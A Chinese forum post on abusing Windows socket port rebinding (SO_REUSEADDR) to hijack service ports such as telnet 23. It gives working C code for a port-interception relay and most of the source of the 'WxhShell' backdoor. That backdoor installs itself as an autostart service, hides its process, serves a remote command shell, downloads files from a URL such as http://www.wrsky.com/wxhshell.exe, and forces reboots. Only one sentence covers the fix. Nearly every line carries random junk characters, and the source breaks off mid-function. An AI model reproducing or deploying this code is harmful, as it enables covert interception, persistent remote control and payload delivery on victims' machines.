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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 6.ap^9AD  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ]ImS@!Ajjx  
EQ7cK63  
  saddr.sin_family = AF_INET; $'e.bh  
!rrjA$P<v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); a z`5{hK  
ECl[v%R/6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '"I"D9;9  
fV[xv4D.  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /ZD/!YD&R  
1f~_# EIC  
  这意味着什么?意味着可以进行如下的攻击: slw^BK3t  
QI!:+8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Y/{Z`}  
Xf#uK\f  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aHb,4 wY  
smk0*m4  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 bEPXNN  
))eR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D4`7,JC}<  
|/rBR!kPq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 O:D`6U+0  
)Q9J,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Oi7:J> [  
7_A(1Lx/l7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NH|v`rO  
"zm.jNn  
  #include .llAiv  
  #include s;$ eq);  
  #include 3`-[95w  
  #include    ]>x674H  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t XfB.[U  
  int main() egKYlfe"  
  { hX YVi6(k  
  WORD wVersionRequested; R(x% <I  
  DWORD ret; vW~_+:),e  
  WSADATA wsaData; N[=nh)m7b  
  BOOL val; #r0A<+t{T  
  SOCKADDR_IN saddr; g,x$z~zU{  
  SOCKADDR_IN scaddr; JB* *z00;  
  int err; M}us^t*  
  SOCKET s; w/Ia` Tx$  
  SOCKET sc; >Utn[']~  
  int caddsize; V8&%fxn+  
  HANDLE mt; =g?r.;OO  
  DWORD tid;   {jr>Z"/q  
  wVersionRequested = MAKEWORD( 2, 2 ); l$PO!JRD  
  err = WSAStartup( wVersionRequested, &wsaData ); n j1 cqh  
  if ( err != 0 ) { vChkSY([  
  printf("error!WSAStartup failed!\n"); aiUn bP  
  return -1; %lEPFp  
  } 9KCnitU  
  saddr.sin_family = AF_INET; 6V!yfps)  
   5tQffo8t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $g 5pKk  
~H?RHYP~  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ZH/|L?Q1U  
  saddr.sin_port = htons(23); Qb9) 1  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &>sG x K  
  { <g,xc)[  
  printf("error!socket failed!\n"); vFy /  
  return -1; %!LrC!6P4  
  } Zni8 im,_j  
  val = TRUE; FL0[V,  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 m_U__CZ}Tt  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )FE'#\  
  { RrGS$<  
  printf("error!setsockopt failed!\n"); k|a{ |2p  
  return -1; ;Mw9}Reh@  
  } (z+[4l7  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )Z"7^ i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 IjD: hR@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 vk.Y2 :  
%k1*&2"1#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7zpwP  
  { (w@|:0t^y[  
  ret=GetLastError(); JA())0a  
  printf("error!bind failed!\n"); (w4#?_  
  return -1; ]TqcV8Q~  
  } cXtL3T+  
  listen(s,2); 2{#*z%|z  
  while(1) 7ugmZO}lL  
  { C[<&% =  
  caddsize = sizeof(scaddr); B% BO  
  //接受连接请求 tWL9>7]G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rDm>Rm=  
  if(sc!=INVALID_SOCKET) +=U`  
  { H;Z{R@kf  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6'|J ;  
  if(mt==NULL) G8 f7N; D  
  { .|x0du|  
  printf("Thread Creat Failed!\n"); I3s'44  
  break; P4Wd=Xoz6  
  } d<fS52~l  
  } 80l(,0`,  
  CloseHandle(mt); li,kW`j+t  
  } I\`:(V  
  closesocket(s); eHd{'J<  
  WSACleanup(); |LiFX5!\  
  return 0; 7u o4F= %  
  }   t[)z/[ m  
  DWORD WINAPI ClientThread(LPVOID lpParam) |`_TVzA  
  { ]N2'L!4|;  
  SOCKET ss = (SOCKET)lpParam; K#+TCZ,  
  SOCKET sc; Ba!`x<wa  
  unsigned char buf[4096]; 4$SW~BpQ  
  SOCKADDR_IN saddr; s13Iu#  
  long num; JI@~FD&  
  DWORD val; :8yrtbf$  
  DWORD ret; ~O |j*T  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,7 >_Lp_v  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2zArAch  
  saddr.sin_family = AF_INET; -V_e=Y<J/  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S#2 'Jw  
  saddr.sin_port = htons(23); *l_1T4]S  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Ho\K %#u  
  { x/bO;9E%U4  
  printf("error!socket failed!\n"); 3l5q?"$  
  return -1; bZERh:%o  
  } u&2uQ-T0  
  val = 100; @fbvu_-].  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U>ob)-tl  
  { )1lYfJ  
  ret = GetLastError(); ;( VJZ_  
  return -1; *N< 22w  
  } BU]9eF!>h  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) n3~xiQ'  
  { 1B,RRHXn6  
  ret = GetLastError();  QqtFNG  
  return -1; AO>K 6{  
  } 3PI{LU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ikyvst>O  
  { sN^R Z0!>  
  printf("error!socket connect failed!\n"); <bIAq8  
  closesocket(sc); p.8G]pS  
  closesocket(ss); tUz!]P2BUO  
  return -1; 6i=m1Yk  
  } aMh2[I  
  while(1) {#Mz4s`M  
  { <P g.N  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 JF24~Q4P  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fvN2]@:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Il*wVNrZI  
  num = recv(ss,buf,4096,0); %8hhk]m\b>  
  if(num>0) d=H C;T)  
  send(sc,buf,num,0); vseuk@>  
  else if(num==0) LT:KZ|U9  
  break; Wa ,[#H  
  num = recv(sc,buf,4096,0); y;sr# -L  
  if(num>0) FkKx~I:  
  send(ss,buf,num,0); \u",bMQF  
  else if(num==0) DQKhR sC  
  break; 0m51nw~B  
  } l,,5OZw  
  closesocket(ss); <7?MutHM-  
  closesocket(sc); Y7!,s-v4W  
  return 0 ; xjv?Z"X  
  } 611:eLyy&l  
0u)]1  
J"I{0>@  
========================================================== OW1[Y-o[  
5I t+ S+a  
下边附上一个代码,,WXhSHELL v=9:N/sW  
8Qek![3^  
========================================================== ,58D=EgFy  
;`s/|v  
#include "stdafx.h" F4Z+)'oDr,  
5BTQJa  
#include <stdio.h> L[Tr"BW  
#include <string.h> ~ hYG%  
#include <windows.h> U1J?o #(  
#include <winsock2.h> / u>")f  
#include <winsvc.h> a&wl-  
#include <urlmon.h> 9M<qk si  
~qco -b  
#pragma comment (lib, "Ws2_32.lib") ? vk;b!  
#pragma comment (lib, "urlmon.lib") I:bi8D6  
V. \do"m  
#define MAX_USER   100 // 最大客户端连接数 |c dQJW  
#define BUF_SOCK   200 // sock buffer F0+u#/#  
#define KEY_BUFF   255 // 输入 buffer !);'Bk9o  
4CfPa6_  
#define REBOOT     0   // 重启 v#nYH?+~mJ  
#define SHUTDOWN   1   // 关机 $(.[b][S  
Lc0^I<Y  
#define DEF_PORT   5000 // 监听端口 r Fdq \BSi  
MXSPD# gN  
#define REG_LEN     16   // 注册表键长度 7 45Uo'  
#define SVC_LEN     80   // NT服务名长度 L%U-MOS=  
zF3fpEKe  
// 从dll定义API *siS4RX2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :W-"UW,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T>.*c6I b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u ;f~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P*)}ENY  
#3\F<AJ<VB  
// wxhshell配置信息 .E"hsGH9h  
struct WSCFG { /i"L@t)\t  
  int ws_port;         // 监听端口 7b \HbgZ  
  char ws_passstr[REG_LEN]; // 口令 i|)<#Ywl  
  int ws_autoins;       // 安装标记, 1=yes 0=no rpQB# Pz  
  char ws_regname[REG_LEN]; // 注册表键名 AQQeLdTq  
  char ws_svcname[REG_LEN]; // 服务名 bL]*K$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o!gl :izb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T&fqn!i  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <Gr{h>b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no T B1E1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" OB>Pk_eQK  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gle_~es'K  
q1.w8$  
}; R'uM7,7  
(kK6=Mrf  
// default Wxhshell configuration #Bj.#5  
struct WSCFG wscfg={DEF_PORT, #t>w)`bA-  
    "xuhuanlingzhe", {I&>`?7.  
    1, R%"wf   
    "Wxhshell", Ma2sQW\  
    "Wxhshell", _qR1M):yJ  
            "WxhShell Service", nX7{09  
    "Wrsky Windows CmdShell Service", *[) b}?  
    "Please Input Your Password: ", soRt<83  
  1, c0sU1:e0  
  "http://www.wrsky.com/wxhshell.exe", Nv{r`J.  
  "Wxhshell.exe" ogtKj"a  
    }; 4. 7m*  
 {F+7> X  
// 消息定义模块 [nZ3}o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  W>.KV7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }S\\"SBC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Gg]>S#^3  
char *msg_ws_ext="\n\rExit."; {0 IEizQ|i  
char *msg_ws_end="\n\rQuit."; jeFX?]Q  
char *msg_ws_boot="\n\rReboot..."; suC]  
char *msg_ws_poff="\n\rShutdown..."; K?+iu|$ &  
char *msg_ws_down="\n\rSave to "; MDZ,a 0?4t  
'vq-~y5^#  
char *msg_ws_err="\n\rErr!"; 9%^q?S/Rv  
char *msg_ws_ok="\n\rOK!"; #2<.0@@ TI  
5 ?~ ?8Hi  
char ExeFile[MAX_PATH]; JS]6jUB<B  
int nUser = 0; I kv@}^p 7  
HANDLE handles[MAX_USER]; V^Z"FwWk  
int OsIsNt; 52 ? TLID  
hsr,a{B%$  
SERVICE_STATUS       serviceStatus; %JF.m$-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o?BcpWp  
]a F,r"  
// 函数声明 DgQw`D)+  
int Install(void); 3)b[C&`  
int Uninstall(void); :Q@=;P2  
int DownloadFile(char *sURL, SOCKET wsh); "#anL8  
int Boot(int flag); UIPi<_Xa  
void HideProc(void); -'ePx f  
int GetOsVer(void); A Ch!D>C1  
int Wxhshell(SOCKET wsl); ?:73O`sX:  
void TalkWithClient(void *cs); \Ld/'Z;w  
int CmdShell(SOCKET sock); K:hZ  
int StartFromService(void); b9b384Q1O  
int StartWxhshell(LPSTR lpCmdLine); Q}zAC2@L  
f86h"#4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Gw%P5 r}Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ye !}hm=w  
xXkP(^ Y  
// 数据结构和表定义 JDeG@N$  
SERVICE_TABLE_ENTRY DispatchTable[] = O75^(keW  
{ *S,5  
{wscfg.ws_svcname, NTServiceMain}, v0W w~4|],  
{NULL, NULL} *Y'nDv6_P  
}; D_mdX9-~  
`L n,qiA  
// 自我安装 l-4+{6lz  
int Install(void) Jse;@K5y  
{ i8t%v  
  char svExeFile[MAX_PATH]; ^~\cx75D  
  HKEY key; 9+><:(,  
  strcpy(svExeFile,ExeFile); j_YpkKh en  
R{={7.As+  
// 如果是win9x系统,修改注册表设为自启动 O_-Lm4g?4  
if(!OsIsNt) { ;>%@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %A_h!3f&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,c }R*\  
  RegCloseKey(key); Nmu;+{19M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O.OPIQ=?:w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v',%   
  RegCloseKey(key); B'sgCU  
  return 0; 2L?jp:$;X  
    } @q8h'@sX  
  } Q[sj/  
} (|Zah1k&]  
else { ^&^~LKl~  
SbrKNADH%  
// 如果是NT以上系统,安装为系统服务 woI.1e5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p@`]9tLP(K  
if (schSCManager!=0) +b O]9* g]  
{ R1A|g =kF  
  SC_HANDLE schService = CreateService MLVrL r t  
  ( 8nKZ   
  schSCManager, ,e]|[,r#5  
  wscfg.ws_svcname,  Y7q=]  
  wscfg.ws_svcdisp, uB&um*DP  
  SERVICE_ALL_ACCESS, `Ckx~'1M:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |/!3N  
  SERVICE_AUTO_START, {c|{okQ;Q  
  SERVICE_ERROR_NORMAL, ON r}{T%@/  
  svExeFile, p0r:U< &  
  NULL, ~6bf-Wg'X  
  NULL, yv),>4_6  
  NULL, <.d^jgG(j  
  NULL, qhE1 7Hf  
  NULL wgETL|3-  
  ); CN(}0/  
  if (schService!=0) 3k U4?D]  
  { ()cqax4  
  CloseServiceHandle(schService); on0MhW  
  CloseServiceHandle(schSCManager); vZ0K1UTEXY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C~o\Q# *j  
  strcat(svExeFile,wscfg.ws_svcname); 8l<4OgoK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T ?HG}(2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  F0i`HO{  
  RegCloseKey(key); BNj@~uC{  
  return 0; ~d.Z. AD  
    } C*C;n4AT  
  } B)!ty"  
  CloseServiceHandle(schSCManager); Tl/!Dn  
} 4Y.o RB  
} 8gI f  
s+omCr|H;A  
return 1; A ,$CYLj+  
} %k+G-oT5  
XCAy _fL<B  
// 自我卸载 vGST{Lz;  
int Uninstall(void) VMZUJ2Yj/&  
{ AP:(/@K|  
  HKEY key; X"sc'#G T  
!XtZI3Xu  
if(!OsIsNt) { l(~i>iQ 4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *hV$\CLT.  
  RegDeleteValue(key,wscfg.ws_regname); (gQr?K  
  RegCloseKey(key); lL<LJ :L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *mVQN1  
  RegDeleteValue(key,wscfg.ws_regname); 9CNeMoA$p:  
  RegCloseKey(key); B3';Tcs  
  return 0; n mN3Z_  
  } pl4:>4l/  
} Ug P  
} eE0'3?q(  
else { S}}L& _  
hN"cXz"/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); x)0''}E~  
if (schSCManager!=0) .Xcf *$.;s  
{ 7.W$6U5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *u)#yEJ)  
  if (schService!=0) &W*do  
  { tso\bxiU  
  if(DeleteService(schService)!=0) { /h v2=A  
  CloseServiceHandle(schService); C&/_mm5  
  CloseServiceHandle(schSCManager); .Z9{\tj  
  return 0; .`TDpi9OB  
  } 2E$K='H:,  
  CloseServiceHandle(schService); _7bQR7s  
  } 4R&e5!  
  CloseServiceHandle(schSCManager); tVr^1Y  
} 0/4"Jh$t  
} F5s`AjU  
i[O{ M`Z%  
return 1; =#.qe=  
} x T{s%wE  
NxGSs_7  
// 从指定url下载文件 *a2-Vte  
int DownloadFile(char *sURL, SOCKET wsh) 9:4m@dguh-  
{ G]k+0&X  
  HRESULT hr; vo!QJ  
char seps[]= "/"; *Me&> "N"  
char *token; -E +LA  
char *file; zk^uS#  
char myURL[MAX_PATH]; XbYST%| .  
char myFILE[MAX_PATH]; M'sq{K9  
s)-O{5;U  
strcpy(myURL,sURL); CYn56eRK  
  token=strtok(myURL,seps); ?d5_{*]+v  
  while(token!=NULL) T%TfkQ__d  
  { .qfU^AHA  
    file=token; $X ]t}=  
  token=strtok(NULL,seps); k* e $_  
  } =EQaZ8k  
K]H [A,  
GetCurrentDirectory(MAX_PATH,myFILE); ^tRy6zG  
strcat(myFILE, "\\"); ohlCuH 3  
strcat(myFILE, file); o! Y61S(  
  send(wsh,myFILE,strlen(myFILE),0); & oj$h  
send(wsh,"...",3,0); u_'XUJ32!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f|NWn`#bY  
  if(hr==S_OK) {D`_q|  
return 0; D`hg+64}  
else g..&x]aS(  
return 1; #'fQx`LV  
::k cV'*  
} !JnxNIr&i|  
]\6*2E{1m  
// 系统电源模块 #%{x*y:Ms  
int Boot(int flag) [n2)6B\/  
{ 30<3DA_P  
  HANDLE hToken; }:1*@7eR  
  TOKEN_PRIVILEGES tkp; Nf1&UgX  
jm&PGZ#n=R  
  if(OsIsNt) { @ev8"JZ1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0RGqpJxk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E, ;'n  
    tkp.PrivilegeCount = 1; ur JR[$p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^wW{7Uq>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); jVInTR0f[  
if(flag==REBOOT) { 4)].{Z4 q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w|( ix;pK  
  return 0; (AswV7aGe  
} :IRQouTf:,  
else { <ql:n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v])R6-T-  
  return 0; $&KiN82,  
} T&u25"QOf  
  } o!sHK9hvJ)  
  else { wt1Y&D  
if(flag==REBOOT) { }cd-BW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `XK#sCC  
  return 0; C3-I5q(V]  
} ^^kL.C Ym  
else { n{E9p3i  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) (Z#j^}G_l  
  return 0; z18<rj  
} 5Tiap8x+<  
} w(UZmZb}  
uYMH5Om+i  
return 1; A"Sp7M[J  
} an,JV0  
pL`)^BJ  
// win9x进程隐藏模块 c'uDK>  
void HideProc(void) )g[7XB/w  
{ eJ_$Etc  
*ez7Q   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vh8RVFi;c  
  if ( hKernel != NULL ) eDL0Vw  
  { GpGq' 8|(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 41^ $  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); k?`Q\  
    FreeLibrary(hKernel); Z.3*sp0 yv  
  } C0-,<X  
 "xp>Vj  
return; !y7w~UVs  
} LT6VZ,S  
Xf*}V+&WN  
// 获取操作系统版本 3y]rhB  
int GetOsVer(void) {^6<Ohe4j  
{ k*o>ZpjNH  
  OSVERSIONINFO winfo; fp'%lbk=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rj-Q+rgup  
  GetVersionEx(&winfo); eZ;DNZK av  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g<5G#  
  return 1; W kSv@Y,  
  else 28=L9q   
  return 0; t2#zQ[~X!  
} EV|L~^Q  
h f9yK6  
// 客户端句柄模块 !?J?R-C  
int Wxhshell(SOCKET wsl) ;7bY>zc(w  
{ &~sk7iGi  
  SOCKET wsh; ~ _W>ND  
  struct sockaddr_in client; sT+\ z  
  DWORD myID; , \R,O  
A^@,Ha  
  while(nUser<MAX_USER) axLO: Q,  
{ (5&l<u"K~  
  int nSize=sizeof(client); =qFDrDt  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g%2twq_  
  if(wsh==INVALID_SOCKET) return 1; Zm#qW2a]P  
<G#z;]N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'QxPQ cU  
if(handles[nUser]==0) gfm aO ]  
  closesocket(wsh); YV"LM6`  
else 9}Qrb@DT  
  nUser++; w"?E=RS  
  } UCS`09KNJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @d_;p<\l  
$-;x8O]u  
  return 0; ?%RR+(2m  
} b%M|R%)]  
31n|ScXv  
// 关闭 socket ;+4X<)y*>  
void CloseIt(SOCKET wsh) a#i%7mfn  
{ {#J1D*?$"  
closesocket(wsh); ~AG."<}  
nUser--; 9Qhk~^ngg  
ExitThread(0); TM?7F2  
} 5"8R|NU:\0  
P'q . _U  
// 客户端请求句柄 ]#Q'~X W  
void TalkWithClient(void *cs) nO7#m~  
{ h2#S ?  
N~@VZbS(6  
  SOCKET wsh=(SOCKET)cs; 3+| {O  
  char pwd[SVC_LEN]; O4w:BWVsn  
  char cmd[KEY_BUFF]; {qkd63 X  
char chr[1]; ufWd) Q  
int i,j; b=j]tb,  
HnmByn\j  
  while (nUser < MAX_USER) { *) ?Fo  
)./.rtP|4  
if(wscfg.ws_passstr) { b1`(f"&l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k7ODQ(*v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l#G }j^Q  
  //ZeroMemory(pwd,KEY_BUFF); @C fxPA  
      i=0; 1F_ 1bAh$  
  while(i<SVC_LEN) { "7tEk<x  
;Z(~;D  
  // 设置超时 hr] :bR  
  fd_set FdRead; ViG4tb  
  struct timeval TimeOut; M`kR2NCi  
  FD_ZERO(&FdRead); H<6/i@ly  
  FD_SET(wsh,&FdRead); *|DIG{  
  TimeOut.tv_sec=8; 9AROvq|#  
  TimeOut.tv_usec=0; Ug|o ($CY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z2dy|e(c  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T c{]w?V  
3e.v'ccK&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :,^pLAt  
  pwd=chr[0]; 'of5v6:8  
  if(chr[0]==0xd || chr[0]==0xa) { #Ua+P(1q  
  pwd=0; 044*@a5f  
  break; fC4 D#  
  } \Ow-o0  
  i++; .h8%zB#|i  
    } 2W=( {e)$  
= ?hx+-'  
  // 如果是非法用户,关闭 socket ?"no~(EB  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Ur]~>-Z  
} U-#t&yjh#  
-\`n{$OR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3=r8kh7,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +jD{ O @9  
<E|K<}W#  
while(1) { 2\z"6  
syYg, G[  
  ZeroMemory(cmd,KEY_BUFF); .bYDj&]P{  
fFfH9cl!  
      // 自动支持客户端 telnet标准   PIuk]&L^  
  j=0; Lw]:/x  
  while(j<KEY_BUFF) { %8T:rS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $e|G#mMd-  
  cmd[j]=chr[0]; 6SMGXy*]^  
  if(chr[0]==0xa || chr[0]==0xd) { S4]xxc  
  cmd[j]=0; ogX'3L  
  break; r'p;Nj.  
  } PomX@N}1  
  j++; +_?;%PKkuF  
    } ~7!J/LHg  
+OF(CcA^  
  // 下载文件 =>hq0F4[;  
  if(strstr(cmd,"http://")) { EO,;^RtB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^ZFbp@#U  
  if(DownloadFile(cmd,wsh)) N1KYV&'o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); hgE!) UE  
  else fz W%(.tc\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hltH{4  
  } '?5=j1  
  else { ctOC.  
5( lE$&   
    switch(cmd[0]) { P sD+?  
  ,LXuU8sB  
  // 帮助 }(-R`.e;  
  case '?': { ";j/k9DE  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jz|zq\Eek  
    break; aT F}  
  } O!z H5  
  // 安装 }Xs=x6Mj  
  case 'i': { ~\K+)(\SNp  
    if(Install()) Xt /T0.I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >.PLD} zE_  
    else 3skq%;%Wsk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b^PYA_k-Xn  
    break; PDX^MYoN  
    } l_u1 ~K  
  // 卸载 E/(:\Cm^  
  case 'r': { mY.[AIB  
    if(Uninstall()) Mno4z/4{A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tCK%vd%  
    else !O)Ruwy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Iq_cs '  
    break; -zHJ#  
    } B{QY-F~  
  // 显示 wxhshell 所在路径 Cdiu*#f  
  case 'p': { hH{&k>  
    char svExeFile[MAX_PATH]; %\[LM$f{z  
    strcpy(svExeFile,"\n\r"); ? YX2CJ6N  
      strcat(svExeFile,ExeFile); +"T?.,  
        send(wsh,svExeFile,strlen(svExeFile),0); uI-te~]  
    break; ?`,UW;Br6  
    } x!MYIaZ7  
  // 重启 j$zw(EkN  
  case 'b': { tp_*U,  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d/- f]   
    if(Boot(REBOOT)) pF#nj`L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {DBgW},  
    else { WU{G_Fqaz  
    closesocket(wsh); ar=uDb;  
    ExitThread(0); <"AP&J'H  
    } "m _wYX  
    break; Fc7mAV=  
    } Am!$\T%2  
  // 关机 vz,l{0 v  
  case 'd': { zhKb|SV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <y\>[7Y  
